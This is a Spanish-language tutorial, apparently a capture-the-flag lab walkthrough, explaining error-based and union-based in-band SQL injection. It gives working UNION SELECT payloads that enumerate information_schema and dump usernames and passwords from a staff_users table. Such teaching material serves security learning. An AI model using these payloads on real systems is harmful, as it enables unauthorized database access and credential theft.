La SQLi In-Band es el tipo más fácil de detectar y explotar. Se refiere al mismo método de comunicación para explotar la vulnerabilidad y recibir los resultados, por ejemplo, descubrir una vulnerabilidad de inyección SQL en un sitio web y ser capaz de extraer información de la base de datos en la propia página.


SQLi Basada en Errores

Este tipo es la más útil para obtener información sobre la estructura de la base de datos, ya que los errores de la base de datos se imprimen en el navegador directamente. Puede ser usado para enumerar una base de datos entera.

La clave para descubrirlas es romper el código SQL probando caracteres especiales hasta que salga un mensaje de error. Normalmente se hace con ' o ".


SQLi Basada en Unión

Este tipo de inyección usa el operador SQL "UNION" junto a SELECT para devolver resultados adicionales a la página. Este método es la forma más común de extraer grandes cantidades de información vía SQLi.


Práctica

Vamos a ver algunos ejemplos prácticos.


Nivel 1

In-Band SQLI

Probamos a meter una comilla simple. Esto nos devuelve un error:

In-Band SQLI

Esto deja constancia de que hay una vulnerabilidad SQLi y ahora toca explotarla. Intentaremos que nos devuelva información usando el operador UNION: 1 UNION SELECT 1

In-Band SQLI

Añadimos otra columna:

In-Band SQLI

Y así hasta que acertemos:

In-Band SQLI

La query nos devuelve el artículo porque es lo primero con lo que se encuentra (id=1), pero si modificamos la query para que muestre un artículo que no existe (id=0) entonces nos mostrará nuestra información.

In-Band SQLI

Podemos ver que el 1, el 2 y el 3 aparecen en el resultado. Si cambiamos alguno de esos números por un término existente nos devolverá ese término en el sitio que le corresponde, por ejemplo el 3: https://website.thm/article?id=0 UNION SELECT 1,2,database()

In-Band SQLI

Ahora que sabemos el nombre de la base de datos (sqli_one), toca obtener el nombre de las tablas. Para ello vamos a usar la siguiente query: 0 UNION SELECT 1,2,group_concat(table_name) FROM information_schema.tables WHERE table_schema = 'sqli_one'

In-Band SQLI

TIP

Si no entiendes las sentencias revisa 0. SQL Fundamentals y estudia SQL, es la mejor manera de entenderlo todo.

Como nos interesa descubrir la contraseña de Martin vamos a buscar en staff_users que significa usuarios del equipo.

Volvemos a utilizar information_schema pero ahora con columns y en group_concat() metemos column_name en lugar de table_name.

0 UNION SELECT 1,2,group_concat(column_name) FROM information_schema.columns WHERE table_name = 'staff_users'

In-Band SQLI

Ahora toca obtener los datos que nos interesan:

0 UNION SELECT 1,2,group_concat(username,':',password SEPARATOR '<br>') FROM staff_users

In-Band SQLI

Habiendo obtenido la contraseña de Martin nos movemos hacia el siguiente nivel y obtenemos la flag.

In-Band SQLI